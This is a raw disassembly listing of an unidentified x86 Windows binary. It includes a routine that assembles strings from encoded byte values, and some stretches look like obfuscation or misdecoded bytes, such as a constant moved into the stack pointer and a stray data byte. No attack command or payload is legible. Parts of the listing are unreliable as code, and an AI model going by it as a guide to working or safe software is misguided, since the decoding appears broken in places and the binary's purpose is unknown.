mov [ebx+5], ecx
mov ecx, [esp+458h+var_C]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
sub_4068E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406CE0 proc near ; CODE XREF: sub_401F28j
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 2C66h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea eax, [esp+7]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_4014FB
mov ecx, [esp+18h+var_C]
mov dword ptr [esi], offset off_43700C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_406CE0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406D60 proc near ; CODE XREF: sub_401523j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401564
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_401488
pop esi
retn 0Ch
sub_406D60 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406DA0 proc near ; CODE XREF: sub_401A0Fj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_4019E2
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_4015A5
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_402027
push eax
lea ecx, [esp+14h+var_8]
call sub_401785
test al, al
jz short loc_406E1B
mov edi, [esp+10h+arg_0]
loc_406DE3: ; CODE XREF: sub_406DA0+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_40169F
mov ecx, [eax]
call sub_4012B7
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_406E25
call sub_401DCF
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_402027
push eax
lea ecx, [esp+14h+var_8]
call sub_401785
test al, al
jnz short loc_406DE3
loc_406E1B: ; CODE XREF: sub_406DA0+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_406E25: ; CODE XREF: sub_406DA0+5Aj
call sub_40169F
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_406DA0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406E70 proc near ; CODE XREF: sub_40205Ej
xor al, al
retn 4
sub_406E70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406E90 proc near ; CODE XREF: sub_4014FBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40117C
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_406E90 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406ED0 proc near ; CODE XREF: sub_4015A5j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40199C
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401FFA
mov eax, esi
pop esi
retn 4
sub_406ED0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406F10 proc near ; CODE XREF: sub_402027j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401FFA
mov eax, esi
pop esi
retn 4
sub_406F10 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406F40 proc near ; CODE XREF: sub_401488j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402027
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401357
pop esi
pop ecx
retn 4
sub_406F40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406F80 proc near ; CODE XREF: sub_4019E2j
push esi
mov esi, ecx
call sub_401A6E
mov eax, esi
pop esi
retn
sub_406F80 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406FA0 proc near ; CODE XREF: sub_40169Fj
mov eax, [ecx]
push eax
call sub_4011E0
add esp, 4
retn
sub_406FA0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406FC0 proc near ; CODE XREF: sub_401DCFj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40199C
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_406FC0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406FF0 proc near ; CODE XREF: sub_401785j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E4C
neg al
sbb eax, eax
inc eax
retn 4
sub_406FF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407020 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401B6D
mov edi, eax
push edi
call sub_401B3B
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40117C
push edi
mov ebx, eax
call sub_401B3B
push edi
mov [eax], ebx
call sub_401B3B
mov edi, [eax]
push edi
call sub_401B3B
mov ecx, [eax]
push ecx
call sub_40199C
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4011E0
add esp, 4
mov ecx, esi
push eax
loc_40707A: ; DATA XREF: _5AD6BD6B:0043D440o
; _5AD6BD6B:0043D454o ...
call sub_4015E6
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401FFA
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_407020 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070C0 proc near ; CODE XREF: sub_40117Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4018F2
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_4070D5
mov edi, esi
loc_4070D5: ; CODE XREF: sub_4070C0+11j
push esi
call sub_40199C
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_4070EA
mov edi, esi
loc_4070EA: ; CODE XREF: sub_4070C0+26j
push esi
call sub_401B3B
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_4070C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407110 proc near ; CODE XREF: sub_40199Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_407110 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407130 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_407130 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407150 proc near ; CODE XREF: sub_401A6Ej
mov eax, ecx
retn
sub_407150 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407170 proc near ; CODE XREF: sub_401FFAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011BD
mov eax, esi
pop esi
retn 4
sub_407170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071A0 proc near ; CODE XREF: sub_401E4Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4071A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071D0 proc near ; CODE XREF: sub_401B3Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4071D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071F0 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_4071F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407220 proc near ; CODE XREF: sub_4015E6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40108C
add esp, 8
retn 8
sub_407220 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407250 proc near ; CODE XREF: sub_4011BDj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_407250 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407270 proc near ; CODE XREF: sub_401B6Dj
mov eax, [ecx]
retn
sub_407270 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407290 proc near ; CODE XREF: sub_401BF4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40729A
xor eax, eax
loc_40729A: ; CODE XREF: sub_407290+6j
push eax
call sub_43034A
add esp, 4
retn
sub_407290 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072C0 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_4072DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4072DB: ; CODE XREF: sub_4072C0+11j
retn
sub_4072C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072F0 proc near ; CODE XREF: sub_4011A4j
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_4072F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407310 proc near ; CODE XREF: sub_401A37j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push 1633h
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_401726
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov esi, 280163h
call sub_401A69
lea ecx, [esp+0Ch+arg_4]
mov [esp+0Ch+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+0Ch+var_C]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
sub_407310 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4073A0 proc near ; CODE XREF: sub_401B9Fj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push 1400B1h
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_401726
push eax
lea ecx, [esp+20h+arg_4]
call sub_401726
push eax
mov eax, [esp+24h+arg_0]
push eax
mov edx, 622801h
call sub_401A69
lea ecx, [esp+0Ch+arg_4]
mov byte ptr [esp+0Ch+var_4], 0
call sub_4011F9
lea ecx, [esp+0Ch+arg_1C]
mov [esp+0Ch+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+0Ch+var_C]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
sub_4073A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_407440: ; CODE XREF: sub_4011EFj
push 0FFFFFFFFh
push 391400h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+188h]
call sub_4013CF
lea ecx, [esp+158h]
mov dword ptr [esp+358h], 0
call sub_4013CF
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 1
call sub_4013CF
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 2
call sub_4013CF
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 3
call sub_4013CF
lea ecx, [esp+98h]
mov byte ptr [esp+358h], 4
call sub_4013CF
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 5
call sub_4013CF
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 6
call sub_4013CF
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 7
call sub_4013CF
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_4013CF
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_4013CF
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ah
call sub_4013CF
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Bh
call sub_4013CF
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Ch
call sub_4013CF
lea ecx, [esp+230h]
mov byte ptr [esp+358h], 0Dh
call sub_4013CF
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 0Eh
call sub_4013CF
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 0Fh
call sub_4013CF
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 10h
call sub_4013CF
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 11h
call sub_4013CF
mov byte ptr [esp+358h], 12h
lea ecx, [esp+170h]
call sub_4013CF
lea ecx, [esp+1E8h]
mov byte ptr [esp+358h], 13h
call sub_4013CF
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 14h
call sub_4013CF
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 15h
call sub_4013CF
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 16h
call sub_4013CF
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 17h
call sub_4013CF
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 18h
call sub_4013CF
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 19h
call sub_4013CF
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 1Ah
call sub_4013CF
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 1Bh
call sub_4013CF
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_4013CF
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_4013CF
mov bl, 1Eh
push 1C8A00h
lea ecx, [esp+18Ch]
mov [esp+35Ch], bl
call sub_4019A1
push 0E4500h
lea ecx, [esp+15Ch]
call sub_4019A1
push offset dword_472280
lea ecx, [esp+1ECh]
call sub_4019A1
push 639140h
lea ecx, [esp+12Ch]
call sub_4019A1
push 71C8A0h
lea ecx, [esp+0FCh]
call sub_4019A1
push 38E450h
lea ecx, [esp+144h]
call sub_4019A1
push 5C7228h
lea ecx, [esp+84h]
call sub_4019A1
push 2E3914h
lea ecx, [esp+0E4h]
call sub_4019A1
push 171C8Ah
lea ecx, [esp+9Ch]
call sub_4019A1
push 0B8E45h
lea ecx, [esp+0CCh]
call sub_4019A1
push offset word_45C722
lea ecx, [esp+204h]
call sub_4019A1
push 22E391h
lea ecx, [esp+6Ch]
call sub_4019A1
push 5171C8h
lea ecx, [esp+234h]
call sub_4019A1
push 68B8E4h
lea ecx, [esp+27Ch]
call sub_4019A1
push 745C72h
lea ecx, [esp+24Ch]
call sub_4019A1
push 7A2E39h
lea ecx, [esp+1A4h]
call sub_4019A1
push 7D171Ch
lea ecx, [esp+0B4h]
call sub_4019A1
push 7E8B8Eh
lea ecx, [esp+174h]
call sub_4019A1
push 7F45C7h
lea ecx, [esp+114h]
call sub_4019A1
push 7FA2E3h
lea ecx, [esp+1BCh]
call sub_4019A1
push 0
push 4Ch
push 46h
lea eax, [esp+20h]
push 45h
push eax
call sub_4018DE
add esp, 14h
push eax
lea ecx, [esp+2ACh]
mov byte ptr [esp+35Ch], 1Fh
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
push 0
push 4Ah
push 49h
lea ecx, [esp+20h]
push 46h
push ecx
call sub_4018DE
add esp, 14h
push eax
lea ecx, [esp+2C4h]
mov byte ptr [esp+35Ch], 20h
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
push 0
push 44h
push 44h
lea edx, [esp+20h]
push 4Ah
push edx
call sub_4018DE
add esp, 14h
push eax
lea ecx, [esp+264h]
mov byte ptr [esp+35Ch], 21h
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
push 0
push 48h
push 46h
push 44h
push 45h
lea eax, [esp+28h]
push eax
call sub_4018DE
add esp, 18h
push eax
lea ecx, [esp+294h]
mov byte ptr [esp+35Ch], 22h
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
push 0
push 5
push 15h
push 12h
lea ecx, [esp+24h]
push 14h
push ecx
call sub_4018DE
add esp, 18h
push eax
lea ecx, [esp+30h]
mov byte ptr [esp+35Ch], 23h
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
push 0
push 5
push 13h
push 0Ch
push 1
lea edx, [esp+28h]
push 6
push edx
call sub_4018DE
add esp, 1Ch
push eax
lea ecx, [esp+48h]
mov byte ptr [esp+35Ch], 24h
call sub_401EAB
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+98h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_4017A8
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
mov byte ptr [esp+3D0h], 25h
push eax
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 26h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+3Ch], esp
push eax
call sub_4017A8
lea ecx, [esi+0FECh]
mov byte ptr [esp+388h], 27h
push ecx
mov ecx, esi
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+80h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 28h
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 29h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea eax, [esi+1035h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 2Ah
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+158h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+78h]
push 13h
push ecx
mov byte ptr [esp+3C4h], 2Bh
call sub_4018DE
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Ch
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea edx, [esi+0FA3h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Dh
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+188h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+80h]
push 13h
push eax
mov byte ptr [esp+3CCh], 2Eh
call sub_4018DE
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 2Fh
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea ecx, [esi+0F5Ah]
mov byte ptr [esp+388h], 30h
push ecx
mov ecx, esi
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+68h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+90h]
push 13h
push edx
mov byte ptr [esp+3DCh], 31h
call sub_4018DE
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 32h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 33h
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+1E8h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
push eax
mov byte ptr [esp+3D4h], 34h
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 35h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea ecx, [esi+0F11h]
mov byte ptr [esp+388h], 36h
push ecx
mov ecx, esi
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+44h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3C8h], 37h
push 13h
lea edx, [esp+88h]
push edx
call sub_4018DE
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 38h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea eax, [esi+107Eh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 39h
call sub_401B9F
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_4011F9
lea ecx, [esp+10h]
mov [esp+10h], edi
push ecx
mov esp, 0EFFA2Eh
call sub_40197E
lea ecx, [esp+98h]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4017A8
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 3Ah
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Bh
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_4017A8
lea eax, [esi+1234h]
; ---------------------------------------------------------------------------
db 8Bh
; =============== S U B R O U T I N E =======================================
sub_407E8F proc near ; CODE XREF: sub_4181B0+2Ap
; DATA XREF: sub_4181B0+16o
arg_38 = dword ptr 3Ch
arg_3C = dword ptr 40h
arg_40 = byte ptr 44h
arg_58 = byte ptr 5Ch
arg_70 = byte ptr 74h
arg_88 = dword ptr 8Ch
arg_8C = dword ptr 90h
arg_90 = dword ptr 94h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = dword ptr 380h
arg_384 = dword ptr 388h
into
push eax
mov byte ptr [esp+4+arg_384], 3Ch
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_AC]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+44h+arg_40]
push 13h
push ecx
mov byte ptr [esp+4Ch+arg_384], 3Dh
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 3Eh
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
lea edx, [esi+127Dh]
mov ecx, esi
push edx
mov byte ptr [esp+4+arg_384], 3Fh
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_124]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
mov byte ptr [esp+28h+arg_384], 40h
push 13h
push 3Fh
push 9
lea eax, [esp+34h+arg_40]
push 13h
push eax
call sub_4018DE
add esp, 54h
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 41h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
